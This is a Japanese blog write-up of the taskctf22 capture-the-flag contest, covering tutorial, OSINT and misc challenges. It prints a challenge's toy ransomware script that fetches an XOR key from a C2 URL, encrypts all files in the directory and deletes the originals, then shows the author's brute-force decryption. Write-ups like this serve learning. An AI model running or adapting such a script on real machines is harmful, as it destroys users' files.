😺

taskctf22 に参加しました

2022/12/04に公開

CTFにはちょくちょく参加していたのですが、1問も解けなかったり、write-upを書き忘れたりと、少々雑になっていましたね。

結果

ソロ参加。71位/133チーム

解けた問題

misc

  • ransomware[50 solves]

osint

  • welcome[130 solves]
  • ramen[130 solves]

tutorial

  • submit_flag[121 solves]
  • just_google_it[108 solves]
  • try_python[102 solves]

ransomware [50 solves]

友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?

encrypted.txt
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦
ransomware.py
#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()
for ch in data:
    encrypted += chr(ord(ch) ^ key)

平文が何らかのkeyでXORされて、UTF-16形式で表示されているので(多分)、全探索で復元しました

ct = "䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦"

for key in range (0, 65536):
    pt = ""
    for c in ct:
        pt += chr(ord(c) ^ key)
    
    if pt[0] == 't':
        print(pt)

taskctf{x0r_1s_e4sy_70_1mplemen7}

welcome[130 solves]

2019年のtaskctfのwelcome問題のFlagは何でしたっけ?

調べる

taskctf{let's_enj0y!}

ramen[106 solves]

このラーメン屋の名前は何でしょう?

正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。

:::details画像
画像
:::

そのままgoogle画像検索に入れると、この画像のラーメン屋らしき店がヒットする

taskctf{let's_enj0y!}

submit_flag [121 solves]

Flagを提出してみましょう!

taskctf{th1s_1s_f14g}

taskctf{th1s_1s_f14g}

just_google_it [108 solves]

分からないことがあれば、自分で調べてみましょう!

添付ファイルの文字列からFlagを取得してください!

base64_encoded.txt

SGVsbG8hIEhlbGxvISBIZWxsby
(省略)
EgSGVsbG8hIEhlbGxvISA=

:::

base64でデコードすると、大量の Hello! の中に、flagらしき文字が埋まっている

taskctf{Y0u_n0w_know_base64!}

try_python [102 solves]

Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。

Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。

等差数列だったので、暗算で解きました。

taskctf{250000}

最後に

今回あんまり時間が取れなかったので、osintやmiscにかけられる時間を確保できませんでした。解きかけの問題もまだあるので、ジャッジが生きている間に全部解き切りたいです。

Discussion